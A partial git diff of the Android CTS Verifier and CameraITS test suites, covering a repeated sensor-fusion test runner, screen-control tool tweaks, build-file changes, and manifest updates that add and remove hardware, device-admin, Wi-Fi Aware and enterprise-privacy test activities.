+TEST_DIR = os.path.join(os.getcwd(), 'tests', SCENE_NAME)
+
+
+def main():
+    """Run all the test_sensor_fusion NUM_RUNS times.
+
+    Save intermediate files, and producing a summary/report of the results.
+
+    Script should be run from the top-level CameraITS directory.
+
+    Command line Arguments:
+        camera:  the camera(s) to be tested. Use comma to separate multiple
+                 camera Ids. Ex: 'camera=0,1' or 'camera=1'
+        device:  the device id for adb
+        rotator: string for rotator id in for vid:pid:ch
+    """
+
+    camera_id = '0'
+    rotator_ids = 'default'
+    for s in sys.argv[1:]:
+        if s[:7] == 'camera=' and len(s) > 7:
+            camera_id = s[7:]
+        elif s[:8] == 'rotator=' and len(s) > 8:
+            rotator_ids = s[8:]
+
+    if camera_id not in ['0', '1']:
+        print 'Need to specify camera 0 or 1'
+        sys.exit()
+
+    # Make output directories to hold the generated files.
+    tmpdir = tempfile.mkdtemp()
+    print 'Saving output files to:', tmpdir, '\n'
+
+    device_id = its.device.get_device_id()
+    device_id_arg = 'device=' + device_id
+    print 'Testing device ' + device_id
+
+    camera_id_arg = 'camera=' + camera_id
+    if rotator_ids:
+        rotator_id_arg = 'rotator=' + rotator_ids
+    print 'Preparing to run sensor_fusion on camera', camera_id
+
+    os.mkdir(os.path.join(tmpdir, camera_id))
+
+    # Run test multiple times, capturing stdout and stderr.
+    numpass = 0
+    numfail = 0
+    numskip = 0
+    for i in range(NUM_RUNS):
+        os.mkdir(os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i)))
+        cmd = ('python tools/rotation_rig.py rotator=%s' % rotator_ids)
+        subprocess.Popen(cmd.split())
+        cmd = ['python', os.path.join(TEST_DIR, TEST_NAME+'.py'),
+               device_id_arg, camera_id_arg, rotator_id_arg]
+        outdir = os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i))
+        outpath = os.path.join(outdir, TEST_NAME+'_stdout.txt')
+        errpath = os.path.join(outdir, TEST_NAME+'_stderr.txt')
+        t0 = time.time()
+        with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
+            retcode = subprocess.call(
+                cmd, stderr=ferr, stdout=fout, cwd=outdir)
+        t1 = time.time()
+
+        if retcode == 0:
+            retstr = 'PASS '
+            numpass += 1
+        elif retcode == SKIP_RET_CODE:
+            retstr = 'SKIP '
+            numskip += 1
+        else:
+            retstr = 'FAIL '
+            numfail += 1
+        msg = '%s %s/%s [%.1fs]' % (retstr, SCENE_NAME, TEST_NAME, t1-t0)
+        print msg
+
+    test_result = '%d / %d tests passed (%.1f%%)' % (
+        numpass+numskip, NUM_RUNS, 100.0*float(numpass+numskip)/NUM_RUNS)
+    print test_result
+
+if __name__ == '__main__':
+    main()
+
diff --git a/apps/CameraITS/tools/turn_off_screen.py b/apps/CameraITS/tools/turn_off_screen.py
index 207042b..1faef9e 100644
--- a/apps/CameraITS/tools/turn_off_screen.py
+++ b/apps/CameraITS/tools/turn_off_screen.py
@@ -15,6 +15,9 @@
 import re
 import subprocess
 import sys
+import time
+
+TURN_OFF_DELAY = 1  # seconds. Needed for back to back runs
 
 
 def main():
@@ -38,5 +41,7 @@
     else:
         pwrdn = ('adb -s %s shell input keyevent POWER' % screen_id)
         subprocess.Popen(pwrdn.split())
+        time.sleep(TURN_OFF_DELAY)
+
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tools/wake_up_screen.py b/apps/CameraITS/tools/wake_up_screen.py
index f14c9f2..b317b05 100644
--- a/apps/CameraITS/tools/wake_up_screen.py
+++ b/apps/CameraITS/tools/wake_up_screen.py
@@ -19,7 +19,7 @@
 
 DISPLAY_LEVEL = 96  # [0:255] Depends on tablet model. Adjust for best result.
 DISPLAY_CMD_WAIT = 0.5  # seconds. Screen commands take time to have effect
-DISPLAY_TIMEOUT = 1800000  # ms.
+DISPLAY_TIMEOUT = 1800000  # ms
 
 
 def main():
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 5c36794..b13c4b4 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -40,6 +40,8 @@
                                compatibility-device-util \
                                platform-test-annotations
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_PACKAGE_NAME := CtsVerifier
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
@@ -71,7 +73,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 LOCAL_SRC_FILES := \
     $(call java-files-in, src/com/android/cts/verifier) \
-    $(call java-files-in, src/com/android/cts/verifier/backup) \
     $(call all-Iaidl-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 \
@@ -91,6 +92,8 @@
 
 notification-bot := $(call intermediates-dir-for,APPS,NotificationBot)/package.apk
 permission-app := $(call intermediates-dir-for,APPS,CtsPermissionApp)/package.apk
+usb-companion := $(call intermediates-dir-for,APPS,CtsVerifierUSBCompanion)/package.apk
+empty-device-admin := $(call intermediates-dir-for,APPS,CtsEmptyDeviceAdmin)/package.apk
 
 # Builds and launches CTS Verifier on a device.
 .PHONY: cts-verifier
@@ -129,20 +132,18 @@
 #	$(hide) $(ACP) -fp cts/apps/CtsVerifier/assets/scripts/execute_power_tests.py $@
 
 cts : $(verifier-zip)
-ifeq ($(HOST_OS),linux)
-$(verifier-zip) : $(HOST_OUT)/bin/cts-usb-accessory
-endif
 $(verifier-zip) : $(HOST_OUT)/CameraITS
 $(verifier-zip) : $(notification-bot)
 $(verifier-zip) : $(permission-app)
+$(verifier-zip) : $(usb-companion)
+$(verifier-zip) : $(empty-device-admin)
 $(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
 		$(hide) mkdir -p $(verifier-dir)
 		$(hide) $(ACP) -fp $< $(verifier-dir)/CtsVerifier.apk
 		$(ACP) -fp $(notification-bot) $(verifier-dir)/NotificationBot.apk
 		$(ACP) -fp $(permission-app) $(verifier-dir)/CtsPermissionApp.apk
-ifeq ($(HOST_OS),linux)
-		$(hide) $(ACP) -fp $(HOST_OUT)/bin/cts-usb-accessory $(verifier-dir)/cts-usb-accessory
-endif
+		$(ACP) -fp $(usb-companion) $(verifier-dir)/CtsVerifierUSBCompanion.apk
+		$(ACP) -fp $(empty-device-admin) $(verifier-dir)/CtsEmptyDeviceAdmin.apk
 		$(hide) $(ACP) -fpr $(HOST_OUT)/CameraITS $(verifier-dir)
 		$(hide) cd $(cts-dir) && zip -rq $(verifier-dir-name) $(verifier-dir-name)
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 4823e29..18a8764 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,9 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="7.1_r201703s">
+      android:versionName="8.0_r1">
 
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25"/>
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="26"/>
 
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -36,6 +36,7 @@
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.NFC" />
     <uses-permission android:name="android.permission.VIBRATE" />
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
     <uses-feature android:name="android.hardware.camera" android:required="false"/>
     <uses-feature android:name="android.hardware.camera.flash" android:required="false"/>
     <uses-feature android:name="android.hardware.sensor.accelerometer" android:required="false" />
@@ -47,6 +48,7 @@
                   android:required="false" />
     <uses-feature android:name="android.software.vr.mode" android:required="false" />
     <uses-feature android:name="android.hardware.vr.high_performance" android:required="false"/>
+    <uses-feature android:name="android.software.companion_device_setup" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
@@ -61,22 +63,26 @@
     <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA" />
     <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
 
     <!-- Needed by the Audio Quality Verifier to store the sound samples that will be mailed. -->
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
+    <!-- Needed for Telecom self-managed ConnectionService tests. -->
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
+
     <application android:label="@string/app_name"
             android:icon="@drawable/icon"
-            android:backupAgent="VerifierBackupAgent"
             android:debuggable="true"
             android:largeHeap="true"
             android:theme="@android:style/Theme.DeviceDefault">
 
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
-        <meta-data android:name="com.google.android.backup.api_key"
-                android:value="AEdPqrEAAAAIbK6ldcOzoeRtQ1u1dFVJ1A7KetRhit-a1Xa82Q" />
-
+        <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
+            android:value="true"/>
         <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestListActivity" android:label="@string/app_name" />
@@ -100,6 +106,56 @@
                     android:value="android.software.device_admin" />
         </activity>
 
+        <activity android:name=".admin.DeviceAdminUninstallTestActivity"
+                  android:label="@string/da_uninstall_test"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.device_admin" />
+        </activity>
+
+        <activity android:name=".admin.tapjacking.DeviceAdminTapjackingTestActivity"
+                  android:label="@string/da_tapjacking_test"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.device_admin" />
+        </activity>
+
+        <receiver android:name=".admin.tapjacking.EmptyDeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/tapjacking_device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+        <activity
+            android:name=".admin.tapjacking.OverlayingActivity"
+            android:theme="@style/OverlayTheme"
+            android:label="Overlaying Activity"/>
+
+        <activity android:name=".companion.CompanionDeviceTestActivity"
+                  android:label="@string/companion_test"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_features" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.companion_device_setup" />
+        </activity>
+
         <!-- A generic activity for intent based tests -->
         <activity android:name=".IntentDrivenTestActivity"/>
 
@@ -141,25 +197,6 @@
                     android:value="android.software.device_admin" />
         </activity>
 
-        <activity android:name=".backup.BackupTestActivity" android:label="@string/backup_test">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_required_features"
-                    android:value="android.software.backup" />
-        </activity>
-
-	<!-- Further work is required for this test, b/32798562  -->
-        <!-- activity android:name=".backup.BackupAccessibilityTestActivity" android:label="@string/backup_accessibility_test">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_required_features"
-                    android:value="android.software.backup" />
-        </activity -->
-
 <!--            CTS Verifier Bluetooth Test Top Screen -->
         <activity
             android:name=".bluetooth.BluetoothTestActivity"
@@ -923,7 +960,6 @@
                 android:value="com.android.cts.verifier.bluetooth.BleAdvertiserTestActivity" />
         </activity>
 
-
         <activity android:name=".security.FingerprintBoundKeysTest"
                 android:label="@string/sec_fingerprint_bound_key_test"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -976,6 +1012,7 @@
                 android:configChanges="keyboardHidden|orientation|screenSize"
                 android:screenOrientation="nosensor" />
 
+        <!-- FeatureSummaryActivity is replaced by CTS SystemFeaturesTest
         <activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -983,6 +1020,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_features" />
         </activity>
+        -->
 
         <activity android:name=".location.GpsTestActivity"
                 android:label="@string/location_gps_test"
@@ -1028,6 +1066,17 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
         </activity>
 
+        <activity android:name=".location.GnssTtffTestsActivity"
+            android:label="@string/location_gnss_ttff_test"
+            android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+            <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+        </activity>
+
         <activity android:name=".location.GnssMeasurementWhenNoLocationTestsActivity"
             android:label="@string/location_gnss_measure_no_location_test"
             android:screenOrientation="locked">
@@ -1431,6 +1480,16 @@
                        android:value="android.hardware.sensor.compass" />
         </activity>
 
+        <activity android:name=".sensors.OffBodySensorTestActivity"
+            android:label="@string/snsr_offbody_sensor_test">
+            <receiver android:name="com.android.cts.verifier.sensors.OffBodySensorTestActivity$AlarmReceiver"></receiver>
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_sensors" />
+        </activity>
+
         <activity
             android:name=".sensors.RVCVXCheckTestActivity"
             android:keepScreenOn="true"
@@ -1494,54 +1553,6 @@
                        android:value="android.hardware.sensor.gyroscope" />
         </activity-->
 
-        <activity android:name=".sensors.SingleSensorTestsActivity"
-                  android:label="@string/snsr_single_sensor_tests"
-                  android:screenOrientation="locked">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
-            <meta-data android:name="test_applicable_features"
-                       android:value="android.hardware.sensor.accelerometer:android.hardware.sensor.compass:android.hardware.sensor.gyroscope:android.hardware.sensor.barometer" />
-        </activity>
-
-        <activity android:name=".sensors.SensorBatchingTestsActivity"
-                  android:label="@string/snsr_sensor_batching_tests"
-                  android:screenOrientation="locked">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
-            <meta-data android:name="test_applicable_features"
-                       android:value="android.hardware.sensor.accelerometer:android.hardware.sensor.compass:android.hardware.sensor.gyroscope:android.hardware.sensor.barometer" />
-        </activity>
-
-        <activity android:name=".sensors.SensorIntegrationTestsActivity"
-                  android:label="@string/snsr_sensor_integration_tests"
-                  android:screenOrientation="locked">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
-            <meta-data android:name="test_applicable_features"
-                       android:value="android.hardware.sensor.accelerometer:android.hardware.sensor.compass:android.hardware.sensor.gyroscope" />
-        </activity>
-
-        <activity android:name=".sensors.SensorTestActivity"
-                  android:label="@string/snsr_sensor_test"
-                  android:screenOrientation="locked">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
-            <meta-data android:name="test_applicable_features"
-                       android:value="android.hardware.sensor.accelerometer:android.hardware.sensor.stepcounter:android.hardware.sensor.stepdetector:android.hardware.sensor.heartrate:android.hardware.sensor.compass:android.hardware.sensor.ambient_temperature" />
-        </activity>
-
         <activity android:name=".sensors.DynamicSensorDiscoveryTestActivity"
                   android:label="@string/snsr_dynamic_sensor_discovery_test"
                   android:screenOrientation="locked">
@@ -1699,26 +1710,43 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.flash" />
         </activity>
 
-        <activity android:name=".usb.UsbAccessoryTestActivity"
+        <activity android:name=".usb.accessory.UsbAccessoryTestActivity"
                 android:label="@string/usb_accessory_test"
-                android:configChanges="keyboardHidden|orientation|screenSize"
-                android:launchMode="singleTop">
+                android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
-            <intent-filter>
-                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
-            </intent-filter>
-            <meta-data android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"
-                    android:resource="@xml/accessory_filter" />
             <meta-data android:name="test_category" android:value="@string/test_category_hardware" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.accessory" />
             <meta-data android:name="test_excluded_features"
                     android:value="android.hardware.type.watch" />
         </activity>
 
-        <activity android:name=".usb.MtpHostTestActivity" android:label="@string/mtp_host_test">
+        <activity android:name=".usb.accessory.AccessoryAttachmentHandler">
+            <intent-filter>
+                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
+            </intent-filter>
+
+            <meta-data android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"
+                android:resource="@xml/accessory_filter" />
+        </activity>
+
+        <activity android:name=".usb.device.UsbDeviceTestActivity"
+                android:label="@string/usb_device_test"
+                android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data android:name="test_category" android:value="@string/test_category_hardware" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_excluded_features"
+                    android:value="android.hardware.type.watch" />
+        </activity>
+
+        <activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -1753,6 +1781,24 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi.direct" />
         </activity>
 
+        <activity android:name=".managedprovisioning.RecentsRedactionActivity"
+                android:label="@string/provisioning_byod_recents" >
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.RECENTS" />
+                <category android:name="android.intent.category.DEFAULT"></category>
+            </intent-filter>
+        </activity>
+        <activity android:name=".wifiaware.TestListActivity"
+                  android:label="@string/aware_test"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_networking" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.wifi.aware" />
+        </activity>
+
         <activity android:name=".notifications.NotificationListenerVerifierActivity"
                 android:label="@string/nls_test">
             <intent-filter>
@@ -1784,17 +1830,6 @@
                     android:value="android.hardware.type.watch:android.software.leanback" />
         </activity>
 
-        <activity android:name=".notifications.PackagePriorityVerifierActivity"
-                android:label="@string/package_priority_test">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.watch:android.software.leanback" />
-        </activity>
-
         <service android:name=".notifications.MockListener"
           android:exported="true"
           android:label="@string/nls_service_name"
@@ -1804,6 +1839,15 @@
             </intent-filter>
         </service>
 
+        <service android:name=".notifications.MockAssistant"
+                 android:exported="true"
+                 android:label="@string/nas_service_name"
+                 android:permission="android.permission.BIND_NOTIFICATION_ASSISTANT_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationAssistantService" />
+            </intent-filter>
+        </service>
+
         <activity android:name=".notifications.ShortcutThrottlingResetActivity"
             android:label="@string/shortcut_reset_test"
             android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation|screenLayout|fontScale|uiMode|orientation|screenSize|smallestScreenSize|layoutDirection">
@@ -1817,6 +1861,7 @@
         </activity>
 
         <activity android:name=".vr.VrListenerVerifierActivity"
+            android:configChanges="uiMode"
             android:label="@string/vr_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1830,6 +1875,7 @@
         <activity android:name=".vr.MockVrActivity"
             android:label="@string/vr_tests"
             android:exported="false"
+            android:configChanges="uiMode"
             android:process=":TestVrActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1840,6 +1886,7 @@
         <activity android:name=".vr.MockVrActivity2"
             android:label="@string/vr_tests"
             android:exported="false"
+            android:configChanges="uiMode"
             android:process=":TestVrActivity2">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1937,6 +1984,54 @@
                 android:label="@string/p2p_service_discovery_responder"
                 android:configChanges="keyboardHidden|orientation|screenSize" />
 
+        <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishTestActivity"
+                  android:label="@string/aware_data_path_open_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity"
+                  android:label="@string/aware_data_path_open_passive_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
+                  android:label="@string/aware_data_path_passphrase_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity"
+                  android:label="@string/aware_data_path_passphrase_passive_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
+                  android:label="@string/aware_data_path_open_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity"
+                  android:label="@string/aware_data_path_open_active_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
+                  android:label="@string/aware_data_path_passphrase_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity"
+                  android:label="@string/aware_data_path_passphrase_active_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
+                  android:label="@string/aware_data_path_oob_open_responder"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity"
+                  android:label="@string/aware_data_path_oob_open_initiator"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity"
+                  android:label="@string/aware_data_path_oob_passphrase_responder"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
+        <activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity"
+                  android:label="@string/aware_data_path_oob_passphrase_initiator"
+                  android:configChanges="keyboardHidden|orientation|screenSize" />
+
         <activity-alias android:name=".CtsVerifierActivity" android:label="@string/app_name"
                 android:targetActivity=".TestListActivity">
             <intent-filter>
@@ -2013,6 +2108,9 @@
         <receiver android:name="com.android.cts.verifier.sensors.SignificantMotionTestActivity$AlarmReceiver">
         </receiver>
 
+        <receiver android:name="com.android.cts.verifier.sensors.OffBodySensorTestActivity$AlarmReceiver">
+        </receiver>
+
         <activity
             android:name="com.android.cts.verifier.sensors.SignificantMotionTestActivity"
             android:label="@string/snsr_significant_motion_test"
@@ -2114,7 +2212,7 @@
                  android:process=":projectionservice" />
 
         <activity android:name=".managedprovisioning.DeviceOwnerNegativeTestActivity"
-                android:label="@string/provisioning_device_owner">
+                android:label="@string/negative_device_owner">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -2125,6 +2223,14 @@
 
         <activity android:name=".managedprovisioning.DeviceOwnerNegativeTestActivity$TrampolineActivity" />
 
+        <activity android:name=".managedprovisioning.EnterprisePrivacyInfoOnlyTestActivity"
+                android:label="@string/enterprise_privacy_test">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_ENTERPRISE_PRIVACY_INFO_ONLY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
         <activity android:name=".managedprovisioning.DeviceOwnerPositiveTestActivity"
                 android:label="@string/positive_device_owner">
             <intent-filter>
@@ -2220,6 +2326,56 @@
             </intent-filter>
         </activity>
 
+        <activity android:name=".managedprovisioning.EnterprisePrivacyTestListActivity"
+                android:label="@string/enterprise_privacy_test">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_ENTERPRISE_PRIVACY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".managedprovisioning.EnterprisePrivacyTestDefaultAppActivity"
+                android:label="@string/enterprise_privacy_default_app"
+                android:enabled="false">
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <data android:scheme="http" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.media.action.IMAGE_CAPTURE" />
+                <action android:name="android.media.action.IMAGE_CAPTURE_SECURE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <data android:scheme="geo" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.SENDTO" />
+                <action android:name="android.intent.action.SEND" />
+                <action android:name="android.intent.action.SEND_MULTIPLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.INSERT" />
+                <data android:mimeType="vnd.android.cursor.dir/event" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.PICK" />
+                <data android:mimeType="vnd.android.cursor.dir/contact" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <action android:name="android.intent.action.CALL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
         <activity android:name=".managedprovisioning.CommandReceiverActivity"
                 android:theme="@android:style/Theme.NoDisplay"
                 android:noHistory="true">
@@ -2279,6 +2435,11 @@
             <meta-data android:name="test_required_features" android:value="android.software.managed_users:android.software.device_admin" />
         </activity>
 
+        <activity android:name=".managedprovisioning.CompTestActivity"
+                android:launchMode="singleTask"
+                android:label="@string/comp_test">
+        </activity>
+
         <activity android:name=".managedprovisioning.ByodProvisioningTestActivity"
                 android:label="@string/provisioning_tests_byod">
             <intent-filter>
@@ -2335,6 +2496,15 @@
                 android:resource="@xml/filepaths" />
         </provider>
 
+        <provider
+            android:name="com.android.cts.verifier.admin.DeviceAdminUninstallTestActivity$DeviceAdminApkFileProvider"
+            android:authorities="com.android.cts.verifier.admin.fileprovider"
+            android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/filepaths_admin" />
+        </provider>
+
         <activity android:name=".managedprovisioning.ByodIconSamplerActivity">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_SAMPLE_ICON" />
@@ -2631,6 +2801,46 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
             </activity>
 
+        <activity android:name=".audio.USBAudioPeripheralAttributesActivity"
+                  android:label="@string/audio_uap_attribs_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+        </activity>
+
+        <activity android:name=".audio.USBAudioPeripheralPlayActivity"
+                  android:label="@string/audio_uap_play_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
